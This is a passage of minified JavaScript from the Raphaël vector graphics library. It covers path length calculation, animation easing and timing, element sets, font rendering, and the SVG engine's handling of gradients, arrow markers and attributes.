o=0,p=d.length;o<p;o++){i=d[o];if(i[0]=="M")g=+i[1],h=+i[2];else{j=cs(g,h,i[1],i[2],i[3],i[4],i[5],i[6]);if(n+j>e){if(c&&!l.start){m=cs(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n),k+=["C"+m.start.x,m.start.y,m.m.x,m.m.y,m.x,m.y];if(f)return k;l.start=k,k=["M"+m.x,m.y+"C"+m.n.x,m.n.y,m.end.x,m.end.y,i[5],i[6]].join(),n+=j,g=+i[5],h=+i[6];continue}if(!b&&!c){m=cs(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n);return{x:m.x,y:m.y,alpha:m.alpha}}}n+=j,g=+i[5],h=+i[6]}k+=i.shift()+i}l.end=k,m=b?n:c?l:a.findDotsAtSegment(g,h,i[0],i[1],i[2],i[3],i[4],i[5],1),m.alpha&&(m={x:m.x,y:m.y,alpha:m.alpha});return m}},cu=ct(1),cv=ct(),cw=ct(0,1);a.getTotalLength=cu,a.getPointAtLength=cv,a.getSubpath=function(a,b,c){if(this.getTotalLength(a)-c<1e-6)return cw(a,b).end;var d=cw(a,c,1);return b?cw(d,b).end:d},cl.getTotalLength=function(){if(this.type=="path"){if(this.node.getTotalLength)return this.node.getTotalLength();return cu(this.attrs.path)}},cl.getPointAtLength=function(a){if(this.type=="path")return cv(this.attrs.path,a)},cl.getSubpath=function(b,c){if(this.type=="path")return a.getSubpath(this.attrs.path,b,c)};var cx=a.easing_formulas={linear:function(a){return a},"<":function(a){return A(a,1.7)},">":function(a){return A(a,.48)},"<>":function(a){var b=.48-a/1.04,c=w.sqrt(.1734+b*b),d=c-b,e=A(z(d),1/3)*(d<0?-1:1),f=-c-b,g=A(z(f),1/3)*(f<0?-1:1),h=e+g+.5;return(1-h)*3*h*h+h*h*h},backIn:function(a){var b=1.70158;return a*a*((b+1)*a-b)},backOut:function(a){a=a-1;var b=1.70158;return a*a*((b+1)*a+b)+1},elastic:function(a){if(a==!!a)return a;return A(2,-10*a)*w.sin((a-.075)*2*B/.3)+1},bounce:function(a){var b=7.5625,c=2.75,d;a<1/c?d=b*a*a:a<2/c?(a-=1.5/c,d=b*a*a+.75):a<2.5/c?(a-=2.25/c,d=b*a*a+.9375):(a-=2.625/c,d=b*a*a+.984375);return d}};cx.easeIn=cx["ease-in"]=cx["<"],cx.easeOut=cx["ease-out"]=cx[">"],cx.easeInOut=cx["ease-in-out"]=cx["<>"],cx["back-in"]=cx.backIn,cx["back-out"]=cx.backOut;var cy=[],cz=window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(a){setTimeout(a,16)},cA=function(){var b=+(new Date),c=0;for(;c<cy.length;c++){var d=cy[c];if(d.el.removed||d.paused)continue;var e=b-d.start,f=d.ms,h=d.easing,i=d.from,j=d.diff,k=d.to,l=d.t,m=d.el,o={},p,r={},s;d.initstatus?(e=(d.initstatus*d.anim.top-d.prev)/(d.percent-d.prev)*f,d.status=d.initstatus,delete d.initstatus,d.stop&&cy.splice(c--,1)):d.status=(d.prev+(d.percent-d.prev)*(e/f))/d.anim.top;if(e<0)continue;if(e<f){var t=h(e/f);for(var u in i)if(i[g](u)){switch(U[u]){case C:p=+i[u]+t*f*j[u];break;case"colour":p="rgb("+[cB(O(i[u].r+t*f*j[u].r)),cB(O(i[u].g+t*f*j[u].g)),cB(O(i[u].b+t*f*j[u].b))].join(",")+")";break;case"path":p=[];for(var v=0,w=i[u].length;v<w;v++){p[v]=[i[u][v][0]];for(var x=1,y=i[u][v].length;x<y;x++)p[v][x]=+i[u][v][x]+t*f*j[u][v][x];p[v]=p[v].join(q)}p=p.join(q);break;case"transform":if(j[u].real){p=[];for(v=0,w=i[u].length;v<w;v++){p[v]=[i[u][v][0]];for(x=1,y=i[u][v].length;x<y;x++)p[v][x]=i[u][v][x]+t*f*j[u][v][x]}}else{var z=function(a){return+i[u][a]+t*f*j[u][a]};p=[["m",z(0),z(1),z(2),z(3),z(4),z(5)]]}break;case"csv":if(u=="clip-rect"){p=[],v=4;while(v--)p[v]=+i[u][v]+t*f*j[u][v]}break;default:var A=[][n](i[u]);p=[],v=m.paper.customAttributes[u].length;while(v--)p[v]=+A[v]+t*f*j[u][v]}o[u]=p}m.attr(o),function(a,b,c){setTimeout(function(){eve("raphael.anim.frame."+a,b,c)})}(m.id,m,d.anim)}else{(function(b,c,d){setTimeout(function(){eve("raphael.anim.frame."+c.id,c,d),eve("raphael.anim.finish."+c.id,c,d),a.is(b,"function")&&b.call(c)})})(d.callback,m,d.anim),m.attr(k),cy.splice(c--,1);if(d.repeat>1&&!d.next){for(s in k)k[g](s)&&(r[s]=d.totalOrigin[s]);d.el.attr(r),cE(d.anim,d.el,d.anim.percents[0],null,d.totalOrigin,d.repeat-1)}d.next&&!d.stop&&cE(d.anim,d.el,d.next,null,d.totalOrigin,d.repeat)}}a.svg&&m&&m.paper&&m.paper.safari(),cy.length&&cz(cA)},cB=function(a){return a>255?255:a<0?0:a};cl.animateWith=function(b,c,d,e,f,g){var h=this;if(h.removed){g&&g.call(h);return h}var i=d instanceof cD?d:a.animation(d,e,f,g),j,k;cE(i,h,i.percents[0],null,h.attr());for(var l=0,m=cy.length;l<m;l++)if(cy[l].anim==c&&cy[l].el==b){cy[m-1].start=cy[l].start;break}return h},cl.onAnimation=function(a){a?eve.on("raphael.anim.frame."+this.id,a):eve.unbind("raphael.anim.frame."+this.id);return this},cD.prototype.delay=function(a){var b=new cD(this.anim,this.ms);b.times=this.times,b.del=+a||0;return b},cD.prototype.repeat=function(a){var b=new cD(this.anim,this.ms);b.del=this.del,b.times=w.floor(x(a,0))||1;return b},a.animation=function(b,c,d,e){if(b instanceof cD)return b;if(a.is(d,"function")||!d)e=e||d||null,d=null;b=Object(b),c=+c||0;var f={},h,i;for(i in b)b[g](i)&&Q(i)!=i&&Q(i)+"%"!=i&&(h=!0,f[i]=b[i]);if(!h)return new cD(b,c);d&&(f.easing=d),e&&(f.callback=e);return new cD({100:f},c)},cl.animate=function(b,c,d,e){var f=this;if(f.removed){e&&e.call(f);return f}var g=b instanceof cD?b:a.animation(b,c,d,e);cE(g,f,g.percents[0],null,f.attr());return f},cl.setTime=function(a,b){a&&b!=null&&this.status(a,y(b,a.ms)/a.ms);return this},cl.status=function(a,b){var c=[],d=0,e,f;if(b!=null){cE(a,this,-1,y(b,1));return this}e=cy.length;for(;d<e;d++){f=cy[d];if(f.el.id==this.id&&(!a||f.anim==a)){if(a)return f.status;c.push({anim:f.anim,status:f.status})}}if(a)return 0;return c},cl.pause=function(a){for(var b=0;b<cy.length;b++)cy[b].el.id==this.id&&(!a||cy[b].anim==a)&&eve("raphael.anim.pause."+this.id,this,cy[b].anim)!==!1&&(cy[b].paused=!0);return this},cl.resume=function(a){for(var b=0;b<cy.length;b++)if(cy[b].el.id==this.id&&(!a||cy[b].anim==a)){var c=cy[b];eve("raphael.anim.resume."+this.id,this,c.anim)!==!1&&(delete c.paused,this.status(c.anim,c.status))}return this},cl.stop=function(a){for(var b=0;b<cy.length;b++)cy[b].el.id==this.id&&(!a||cy[b].anim==a)&&eve("raphael.anim.stop."+this.id,this,cy[b].anim)!==!1&&cy.splice(b--,1);return this},eve.on("raphael.remove",cF),eve.on("raphael.clear",cF),cl.toString=function(){return"Raphaël’s object"};var cG=function(a){this.items=[],this.length=0,this.type="set";if(a)for(var b=0,c=a.length;b<c;b++)a[b]&&(a[b].constructor==cl.constructor||a[b].constructor==cG)&&(this[this.items.length]=this.items[this.items.length]=a[b],this.length++)},cH=cG.prototype;cH.push=function(){var a,b;for(var c=0,d=arguments.length;c<d;c++)a=arguments[c],a&&(a.constructor==cl.constructor||a.constructor==cG)&&(b=this.items.length,this[b]=this.items[b]=a,this.length++);return this},cH.pop=function(){this.length&&delete this[this.length--];return this.items.pop()},cH.forEach=function(a,b){for(var c=0,d=this.items.length;c<d;c++)if(a.call(b,this.items[c],c)===!1)return this;return this};for(var cI in cl)cl[g](cI)&&(cH[cI]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a][m](c,b)})}}(cI));cH.attr=function(b,c){if(b&&a.is(b,E)&&a.is(b[0],"object"))for(var d=0,e=b.length;d<e;d++)this.items[d].attr(b[d]);else for(var f=0,g=this.items.length;f<g;f++)this.items[f].attr(b,c);return this},cH.clear=function(){while(this.length)this.pop()},cH.splice=function(a,b,c){a=a<0?x(this.length+a,0):a,b=x(0,y(this.length-a,b));var d=[],e=[],f=[],g;for(g=2;g<arguments.length;g++)f.push(arguments[g]);for(g=0;g<b;g++)e.push(this[a+g]);for(;g<this.length-a;g++)d.push(this[a+g]);var h=f.length;for(g=0;g<h+d.length;g++)this.items[a+g]=this[a+g]=g<h?f[g]:d[g-h];g=this.items.length=this.length-=b-h;while(this[g])delete this[g++];return new cG(e)},cH.exclude=function(a){for(var b=0,c=this.length;b<c;b++)if(this[b]==a){this.splice(b,1);return!0}},cH.animate=function(b,c,d,e){(a.is(d,"function")||!d)&&(e=d||null);var f=this.items.length,g=f,h,i=this,j;if(!f)return this;e&&(j=function(){!--f&&e.call(i)}),d=a.is(d,D)?d:j;var k=a.animation(b,c,d,j);h=this.items[--g].animate(k);while(g--)this.items[g]&&!this.items[g].removed&&this.items[g].animateWith(h,k,k);return this},cH.insertAfter=function(a){var b=this.items.length;while(b--)this.items[b].insertAfter(a);return this},cH.getBBox=function(){var a=[],b=[],c=[],d=[];for(var e=this.items.length;e--;)if(!this.items[e].removed){var f=this.items[e].getBBox();a.push(f.x),b.push(f.y),c.push(f.x+f.width),d.push(f.y+f.height)}a=y[m](0,a),b=y[m](0,b),c=x[m](0,c),d=x[m](0,d);return{x:a,y:b,x2:c,y2:d,width:c-a,height:d-b}},cH.clone=function(a){a=new cG;for(var b=0,c=this.items.length;b<c;b++)a.push(this.items[b].clone());return a},cH.toString=function(){return"Raphaël‘s set"},a.registerFont=function(a){if(!a.face)return a;this.fonts=this.fonts||{};var b={w:a.w,face:{},glyphs:{}},c=a.face["font-family"];for(var d in a.face)a.face[g](d)&&(b.face[d]=a.face[d]);this.fonts[c]?this.fonts[c].push(b):this.fonts[c]=[b];if(!a.svg){b.face["units-per-em"]=R(a.face["units-per-em"],10);for(var e in a.glyphs)if(a.glyphs[g](e)){var f=a.glyphs[e];b.glyphs[e]={w:f.w,k:{},d:f.d&&"M"+f.d.replace(/[mlcxtrv]/g,function(a){return{l:"L",c:"C",x:"z",t:"m",r:"l",v:"c"}[a]||"M"})+"z"};if(f.k)for(var h in f.k)f[g](h)&&(b.glyphs[e].k[h]=f.k[h])}}return a},k.getFont=function(b,c,d,e){e=e||"normal",d=d||"normal",c=+c||{normal:400,bold:700,lighter:300,bolder:800}[c]||400;if(!!a.fonts){var f=a.fonts[b];if(!f){var h=new RegExp("(^|\\s)"+b.replace(/[^\w\d\s+!~.:_-]/g,p)+"(\\s|$)","i");for(var i in a.fonts)if(a.fonts[g](i)&&h.test(i)){f=a.fonts[i];break}}var j;if(f)for(var k=0,l=f.length;k<l;k++){j=f[k];if(j.face["font-weight"]==c&&(j.face["font-style"]==d||!j.face["font-style"])&&j.face["font-stretch"]==e)break}return j}},k.print=function(b,d,e,f,g,h,i){h=h||"middle",i=x(y(i||0,1),-1);var j=r(e)[s](p),k=0,l=0,m=p,n;a.is(f,e)&&(f=this.getFont(f));if(f){n=(g||16)/f.face["units-per-em"];var o=f.face.bbox[s](c),q=+o[0],t=o[3]-o[1],u=0,v=+o[1]+(h=="baseline"?t+ +f.face.descent:t/2);for(var w=0,z=j.length;w<z;w++){if(j[w]=="\n")k=0,B=0,l=0,u+=t;else{var A=l&&f.glyphs[j[w-1]]||{},B=f.glyphs[j[w]];k+=l?(A.w||f.w)+(A.k&&A.k[j[w]]||0)+f.w*i:0,l=1}B&&B.d&&(m+=a.transformPath(B.d,["t",k*n,u*n,"s",n,n,q,v,"t",(b-q)/n,(d-v)/n]))}}return this.path(m).attr({fill:"#000",stroke:"none"})},k.add=function(b){if(a.is(b,"array")){var c=this.set(),e=0,f=b.length,h;for(;e<f;e++)h=b[e]||{},d[g](h.type)&&c.push(this[h.type]().attr(h))}return c},a.format=function(b,c){var d=a.is(c,E)?[0][n](c):arguments;b&&a.is(b,D)&&d.length-1&&(b=b.replace(e,function(a,b){return d[++b]==null?p:d[b]}));return b||p},a.fullfill=function(){var a=/\{([^\}]+)\}/g,b=/(?:(?:^|\.)(.+?)(?=\[|\.|$|\()|\[('|")(.+?)\2\])(\(\))?/g,c=function(a,c,d){var e=d;c.replace(b,function(a,b,c,d,f){b=b||d,e&&(b in e&&(e=e[b]),typeof e=="function"&&f&&(e=e()))}),e=(e==null||e==d?a:e)+"";return e};return function(b,d){return String(b).replace(a,function(a,b){return c(a,b,d)})}}(),a.ninja=function(){i.was?h.win.Raphael=i.is:delete Raphael;return a},a.st=cH,function(b,c,d){function e(){/in/.test(b.readyState)?setTimeout(e,9):a.eve("raphael.DOMload")}b.readyState==null&&b.addEventListener&&(b.addEventListener(c,d=function(){b.removeEventListener(c,d,!1),b.readyState="complete"},!1),b.readyState="loading"),e()}(document,"DOMContentLoaded"),i.was?h.win.Raphael=a:Raphael=a,eve.on("raphael.DOMload",function(){b=!0})}(),window.Raphael.svg&&function(a){var b="hasOwnProperty",c=String,d=parseFloat,e=parseInt,f=Math,g=f.max,h=f.abs,i=f.pow,j=/[, ]+/,k=a.eve,l="",m=" ",n="http://www.w3.org/1999/xlink",o={block:"M5,0 0,2.5 5,5z",classic:"M5,0 0,2.5 5,5 3.5,3 3.5,2z",diamond:"M2.5,0 5,2.5 2.5,5 0,2.5z",open:"M6,1 1,3.5 6,6",oval:"M2.5,0A2.5,2.5,0,0,1,2.5,5 2.5,2.5,0,0,1,2.5,0z"},p={};a.toString=function(){return"Your browser supports SVG.\nYou are running Raphaël "+this.version};var q=function(d,e){if(e){typeof d=="string"&&(d=q(d));for(var f in e)e[b](f)&&(f.substring(0,6)=="xlink:"?d.setAttributeNS(n,f.substring(6),c(e[f])):d.setAttribute(f,c(e[f])))}else d=a._g.doc.createElementNS("http://www.w3.org/2000/svg",d),d.style&&(d.style.webkitTapHighlightColor="rgba(0,0,0,0)");return d},r=function(b,e){var j="linear",k=b.id+e,m=.5,n=.5,o=b.node,p=b.paper,r=o.style,s=a._g.doc.getElementById(k);if(!s){e=c(e).replace(a._radial_gradient,function(a,b,c){j="radial";if(b&&c){m=d(b),n=d(c);var e=(n>.5)*2-1;i(m-.5,2)+i(n-.5,2)>.25&&(n=f.sqrt(.25-i(m-.5,2))*e+.5)&&n!=.5&&(n=n.toFixed(5)-1e-5*e)}return l}),e=e.split(/\s*\-\s*/);if(j=="linear"){var t=e.shift();t=-d(t);if(isNaN(t))return null;var u=[0,0,f.cos(a.rad(t)),f.sin(a.rad(t))],v=1/(g(h(u[2]),h(u[3]))||1);u[2]*=v,u[3]*=v,u[2]<0&&(u[0]=-u[2],u[2]=0),u[3]<0&&(u[1]=-u[3],u[3]=0)}var w=a._parseDots(e);if(!w)return null;k=k.replace(/[\(\)\s,\xb0#]/g,"_"),b.gradient&&k!=b.gradient.id&&(p.defs.removeChild(b.gradient),delete b.gradient);if(!b.gradient){s=q(j+"Gradient",{id:k}),b.gradient=s,q(s,j=="radial"?{fx:m,fy:n}:{x1:u[0],y1:u[1],x2:u[2],y2:u[3],gradientTransform:b.matrix.invert()}),p.defs.appendChild(s);for(var x=0,y=w.length;x<y;x++)s.appendChild(q("stop",{offset:w[x].offset?w[x].offset:x?"100%":"0%","stop-color":w[x].color||"#fff"}))}}q(o,{fill:"url(#"+k+")",opacity:1,"fill-opacity":1}),r.fill=l,r.opacity=1,r.fillOpacity=1;return 1},s=function(a){var b=a.getBBox(1);q(a.pattern,{patternTransform:a.matrix.invert()+" translate("+b.x+","+b.y+")"})},t=function(d,e,f){if(d.type=="path"){var g=c(e).toLowerCase().split("-"),h=d.paper,i=f?"end":"start",j=d.node,k=d.attrs,m=k["stroke-width"],n=g.length,r="classic",s,t,u,v,w,x=3,y=3,z=5;while(n--)switch(g[n]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":r=g[n];break;case"wide":y=5;break;case"narrow":y=2;break;case"long":x=5;break;case"short":x=2}r=="open"?(x+=2,y+=2,z+=2,u=1,v=f?4:1,w={fill:"none",stroke:k.stroke}):(v=u=x/2,w={fill:k.stroke,stroke:"none"}),d._.arrows?f?(d._.arrows.endPath&&p[d._.arrows.endPath]--,d._.arrows.endMarker&&p[d._.arrows.endMarker]--):(d._.arrows.startPath&&p[d._.arrows.startPath]--,d._.arrows.startMarker&&p[d._.arrows.startMarker]--):d._.arrows={};if(r!="none"){var A="raphael-marker-"+r,B="raphael-marker-"+i+r+x+y;a._g.doc.getElementById(A)?p[A]++:(h.defs.appendChild(q(q("path"),{"stroke-linecap":"round",d:o[r],id:A})),p[A]=1);var C=a._g.doc.getElementById(B),D;C?(p[B]++,D=C.getElementsByTagName("use")[0]):(C=q(q("marker"),{id:B,markerHeight:y,markerWidth:x,orient:"auto",refX:v,refY:y/2}),D=q(q("use"),{"xlink:href":"#"+A,transform:(f?"rotate(180 "+x/2+" "+y/2+") ":l)+"scale("+x/z+","+y/z+")","stroke-width":(1/((x/z+y/z)/2)).toFixed(4)}),C.appendChild(D),h.defs.appendChild(C),p[B]=1),q(D,w);var F=u*(r!="diamond"&&r!="oval");f?(s=d._.arrows.startdx*m||0,t=a.getTotalLength(k.path)-F*m):(s=F*m,t=a.getTotalLength(k.path)-(d._.arrows.enddx*m||0)),w={},w["marker-"+i]="url(#"+B+")";if(t||s)w.d=Raphael.getSubpath(k.path,s,t);q(j,w),d._.arrows[i+"Path"]=A,d._.arrows[i+"Marker"]=B,d._.arrows[i+"dx"]=F,d._.arrows[i+"Type"]=r,d._.arrows[i+"String"]=e}else f?(s=d._.arrows.startdx*m||0,t=a.getTotalLength(k.path)-s):(s=0,t=a.getTotalLength(k.path)-(d._.arrows.enddx*m||0)),d._.arrows[i+"Path"]&&q(j,{d:Raphael.getSubpath(k.path,s,t)}),delete d._.arrows[i+"Path"],delete d._.arrows[i+"Marker"],delete d._.arrows[i+"dx"],delete d._.arrows[i+"Type"],delete d._.arrows[i+"String"];for(w in p)if(p[b](w)&&!p[w]){var G=a._g.doc.getElementById(w);G&&G.parentNode.removeChild(G)}}},u={"":[0],none:[0],"-":[3,1],".":[1,1],"-.":[3,1,1,1],"-..":[3,1,1,1,1,1],". ":[1,3],"- ":[4,3],"--":[8,3],"- .":[4,3,1,3],"--.":[8,3,1,3],"--..":[8,3,1,3,1,3]},v=function(a,b,d){b=u[c(b).toLowerCase()];if(b){var e=a.attrs["stroke-width"]||"1",f={round:e,square:e,butt:0}[a.attrs["stroke-linecap"]||d["stroke-linecap"]]||0,g=[],h=b.length;while(h--)g[h]=b[h]*e+(h%2?1:-1)*f;q(a.node,{"stroke-dasharray":g.join(",")})}},w=function(d,f){var i=d.node,k=d.attrs,m=i.style.visibility;i.style.visibility="hidden";for(var o in f)if(f[b](o)){if(!a._availableAttrs[b](o))continue;var p=f[o];k[o]=p;switch(o){case"blur":d.blur(p);break;case"href":case"title":case"target":var u=i.parentNode;if(u.tagName.toLowerCase()!="a"){var w=q("a");u.insertBefore(w,i),w.appendChild(i),u=w}o=="target"?u.setAttributeNS(n,"show",p=="blank"?"new":p):u.setAttributeNS(n,o,p);break;case"cursor":i.style.cursor=p;break;case"transform":d.transform(p);break;case"arrow-start":t(d,p);break;case"arrow-end":t(d,p,1);break;case"clip-rect":var x=c(p).split(j);if(x.length==4){d.clip&&d.clip.parentNode.parentNode.removeChild(d.clip.parentNode);var z=q("clipPath"),A=q("rect");z.id=a.createUUID(),q(A,{x:x[0],y:x[1],width:x[2],height:x[3]}),z.appendChild(A),d.paper.defs.appendChild(z),q(i,{"clip-path":"url(#"+z.id+")"}),d.clip=A}if(!p){var B=i.getAttribute("clip-path");if(B){var C=a._g.doc.getElementById(B.replace(/(^url\(#|\)$)/g,l));C&&C.parentNode.removeChild(C),q(i,{"clip-path":l}),delete d.clip}}break;case"path":d.type=="path"&&(q(i,{d:p?k.path=a._pathToAbsolute(p):"M0,0"}),d._.dirty=1,d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1)));break;case"width":i.setAttribute(o,p),d._.dirty=1;if(k.fx)o="x",p=k.x;else break;case"x":k.fx&&(p=-k.x-(k.width||0));case"rx":if(o=="rx"&&d.type=="rect")break;case"cx":i.setAttribute(o,p),d.pattern&&s(d),d._.dirty=1;break;case"height":i.setAttribute(o,p),d._.dirty=1;if(k.fy)o="y",p=k.y;else break;case"y":k.fy&&(p=-k.y-(k.height||0));case"ry":if(o=="ry"&&d.type=="rect")break;case"cy":i.setAttribute(o,p),d.pattern&&s(d),d._.dirty=1;break;case"r":d.type=="rect"?q(i,{rx:p,ry:p}):i.setAttribute(o,p),d._.dirty=1;break;case"src":d.type=="image"&&i.setAttributeNS(n,"href",p);break;case"stroke-width":if(d._.sx!=1||d._.sy!=1)p/=g(h(d._.sx),h(d._.sy))||1;d.paper._vbSize&&(p*=d.paper._vbSize),i.setAttribute(o,p),k["stroke-dasharray"]&&v(d,k["stroke-dasharray"],f),d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1));break;case"stroke-dasharray":v(d,p,f);break;case"fill":var D=c(p).match(a._ISURL);if(D){z=q("pattern");var F=q("image");z.id=a.createUUID(),q(z,{x:0,y:0,patternUnits:"userSpaceOnUse",height:1,width:1}),q(F,{x:0,y:0,"xlink:href":D[1]}),z.appendChild(F),function(b){a._preload(D[1],function(){var a=this.offsetWidth,c=this.offsetHeight;q(b,{width:a,height:c}),q(F,{width:a,height:c}),d.paper.safari()})}(z),d.paper.defs.appendChild(z),q(i,{fill:"url(#"+z.id+")"}),d.pattern=z,d.pattern&&s(d);break}var G=a.getRGB(p);if(!G.error)delete f.gradient,delete k.gradient,!a.is(k.opacity,"undefined")&&a.is(f.opacity,"undefined")&&q(i,{opacity:k.opacity}),!a.is(k["fill-opacity"],"undefined")&&a.is(f["fill-opacity"],"undefined")&&q(i,{"fill-opacity":k["fill-opacity"]});else if((d.type=="circle"||d.type=="ellipse"||c(p).charAt()!="r")&&r(d,p)){if("opacity"in k||"fill-opacity"in k){var H=a._g.doc.getElementById(i.getAttribute("fill").replace(/^url\(#|\)$/g,l));if(H){var I=H.getElementsByTagName("stop");q(I[I.length-1],{"stop-opacity":("opacity"in k?k.opacity:1)*("fill-opacity"in k?k["fill-opacity"]:1)})}}k.gradient=p,k.fill="none";break}G[b]("opacity")&&q(i,{"fill-opacity":G.opacity>1?G.opacity/100:G.opacity});case"stroke":G=a.getRGB(p),i.setAttribute(o,G.hex),o=="stroke"&&G[b]("opacity")&&q(i,{"stroke-opacity":G.opacity>1?G.opacity/100:G.opacity}),o=="stroke"&&d._.arrows&&("startString"in d._.arrows&&t(d,d._.arrows.startString),"endString"in d._.arrows&&t(d,d._.arrows.endString,1));break;case"gradient":(d.type=="circle"||d.type=="ellipse"||c(p).charAt()!="r")&&r(d,p);break;case"opacity":k.gradient&&!k[b]("stroke-opacity")&&q(i,{"stroke-opacity":p>1?p/100:p});case"fill-opacity":if(k.gradient){H=a._g.doc.getElementById(i.getAttribute("fill").replace(/^url\(#|\)$/g,l)),H&&(I=H.getElementsByTagName("stop"),q(I[I.length-1],{"stop-opacity":p}));break};default:o=="font-size"&&(p=e(p,10)+"px");var J=o.replace(/(\-.)/g,function(a){return a.substring(1).toUpperCase()});i.style[J]=p,d._.dirty=1,i.setAttribute(o,p)}}y(d,f),i.style.visibility=m},x=1.2,y=function(d,f){if(d.type=="text"&&!!(f[b]("text")||f[b]("font")||f[b]("font-size")||f[b]("x")||f[b]("y"))){var g=d.attrs,h=d.node,i=h.firstChild?e(a._g.doc.defaultView.getComputedStyle(h.firstChild,l).getPropertyValue("font-size"),10):10;if(f[b]("text")){g.text=f.text;while(h.firstChild)h.removeChild(h.firstChild);var j=c(f.text).split("\n"),k=[],m;for(var n=0,o=j.length;n<o;n++)m=q("tspan"),n&&q(m,{dy:i*x,x:g.x}),m.appendChild(a._g.doc.createTextNode(j[n])),h.appendChild(m),k[n]=m}else{k=h.getElementsByTagName("tspan");for(n=0,o=k.length;n<o;n++)n?q(k[n],{dy:i*x,x:g.x}):q(k[0],{dy:0})}q(h,{x:g.x,y:g.y}),d._.dirty=1;var p=d._getBBox(),r=g.y-(p.y+p.height/2);r&&a.is(r,"finite")&&q(k[0],{dy:r})}},z=function(b,c){var d=0,e=0;this[0]=this.node=b,b.raphael=!0,this.id=a._oid++,b.raphaelid=this.id,this.matrix=a.matrix(),this.realPath=null,this.paper=c,this.attrs=this.attrs||{},this._={transform:[],sx:1,sy:1,deg:0,dx:0,dy:0,dirty:1},!c.bottom&&(c.bottom=this),this.prev=c.top,c.top&&(c.top.next=this),c.top=this,this.next=null},A=a.el;z.prototype=A,A.constructor=z,a._engine.path=function(a,b){var c=q("path");b.canvas&&b.canvas.appendChild(c);var d=new z(c,b);d.type="path",w(d,{fill:"none",stroke:"#000",path:a});return d},A.rotate=function(a,b,e){if(this.removed)return this;a=c(a).split(j),a.length-1&&(b=d(a[1]),e=d(a[2])),a=d(a[0]),e==null&&(b=e);if(b==null||e==null){var f=this.getBBox(1);b=f.x+f.width/2,e=f.y+f.height/2}this.transform(this._.transform.concat([["r",a,b,e]]));return this},A.scale=function(a,b,e,f){if(this.removed)return this;a=c(a).split(j),a.length-1&&(b=d(a[1]),e=d(a[2]),f=d(a[3])),a=d(a[0]),b==null&&(b=a),f==null&&(e=f);if(e==null||f==null)var g=this.getBBox(1);e=e==null?g.x+g.width/2:e,f=f==null?g.y+g.height/2:f,this.transform(this._.transform.concat([["s",a,b,e,f]]));return this},A.translate=function(a,b){if(this.removed)return this;a=c(a).split(j),a.length-1&&(b=d(a[1])),a=d(a[0])||0,b=+b||0,this.transform(this._.transform.concat([["t",a,b]]));return this},A.transform=function(c){var d=this._;if(c==null)return d.transform;a._extractTransform(this,c),this.clip&&q(this.clip,{transform:this.matrix.invert()}),this.pattern&&s(this),this.node&&q(this.node,{transform:this.matrix});if(d.sx!=1||d.sy!=1){var e=this.attrs[b]("stroke-width")?this.attrs["stroke-width"]:1;this.attr({"stroke-width":e})}return this},A.hide=function(){!this.removed&&this.paper.safari(this.node.style.display="none");return this},A.show=function(){!this.removed&&this.paper.safari(this.node.style.display="");return this},A.remove=function(){if(!this.removed&&!!this.node.parentNode){var b=this.paper;b.__set__&&b.__set__.exclude(this),k.unbind("raphael.*.*."+this.id),this.gradient&&b.defs.removeChild(this.gradient),a._tear(this,b),this.node.parentNode.tagName.toLowerCase()=="a"?this.node.parentNode.parentNode.removeChild(this.node.parentNode):this.node.parentNode.removeChild(this.node);for(var c in this)this[c]=typeof this[c]=="function"?a._removedFactory(c):null;this.removed=!0}},A._getBBox=function(){if(this.node.style.display=="none"){this.show();var a=!0}var b={};try{b=this.node.getBBox()}catch(c){}finally{b=b||{}}a&&this.hide();return b},A.attr=function(c,d){if(this.removed)return this;if(c==null){var e={};for(var f in this.attrs)this.attrs[b](f)&&(e[f]=this.attrs[f]);e.gradient&&e.fill=="none"&&(e.fill=e.gradient)&&delete e.gradient,e.transform=this._.transform;return e}if(d==null&&a.is(c,"string")){if(c=="fill"&&this.attrs.fill=="none"&&this.attrs.gradient)return this.attrs.gradient;if(c=="transform")return this._.transform;var g=c.split(j),h={};for(var i=0,l=g.length;i<l;i++)c=g[i],c in this.attrs?h[c]=this.attrs[c]:a.is(this.paper.customAttributes[c],"function")?h[c]=this.paper.customAttributes[c].def:h[c]=a._availableAttrs[c];return l-1?h:h[g[0]]}if(d==null&&a.is(c,"array")){h={};for(i=0,l=c.length;i<l;i++)h[c[i]]=this.attr(c[i]);return h}if(d!=null){var m={};m[c]=d}else c!=null&&a.is(c,"object")&&(m=c);for(var n in m)k("raphael.attr."+n+"."+this.id,this,m[n]);for(n in this.paper.customAttributes)if(this.paper.customAttributes[b](n)&&m[b](n)&&a.is(this.paper.customAttributes[n],"function")){var o=this.paper.customAttributes[n].apply(this,[].concat(m[n]));this.attrs[n]=m[n];for(var p in o)o[b](p)&&(m[p]=o[p])}w(this,m);return this},A.toFront=function(){if(this.removed)return this;this.node.parentNode.tagName.toLowerCase()=="a"?this.node.parentNode.parentNode.appendChild(this.node.parentNode):this.node.parentNode.appendChild(this.node);var b=this.paper;b.top!=this&&a._tofront(this,b);return this},A.toBack=function(){if(this.removed)return this;var b=this.node.parentNode;b.tagName.toLowerCase()=="a"?b.parentNode.insertBefore(this.node.parentNode,this.node.parentNode.parentNode.firstChild):b.firstChild!=this.node&&b.insertBefore(this.node,this.node.parentNode.firstChild),a._toback(this,this.paper);var c=this.paper;return this},A.insertAfter=function(b){if(this.removed)return this;var c=b.node||b[b.length-1].node;c.nextSibling?c.parentNode.insertBefore(this.node,c.nextSibling):c.parentNode.appendChild(this.node),a._insertafter(this,b,this.paper);return this},A.insertBefore=function(b){if(this.removed)return this;var c=b.node||b[0].node;c.parentNode.insertBefore(this.node,c),a._insertbefore(this,b,this.paper);return this},A.blur=function(b){var c=this;if(+b!==0){var d=q("filter"),e=q("feGaussianBlur");c.attrs.blur=b,d.id=a.createUUID(),q(e,{stdDeviation:+b||1.5}),d.appendChild(e),c.paper.defs.appendChild(d),c._blur=d,q(c.node,{filter:"url(#"+d.id+")"})}else c._blur&&(c._blur.parentNode.removeChild(c._blur),delete c._blur,delete c.attrs.blur),c.node.removeAttribute("filter")},a._engine.circle=function(a,b,c,d){var 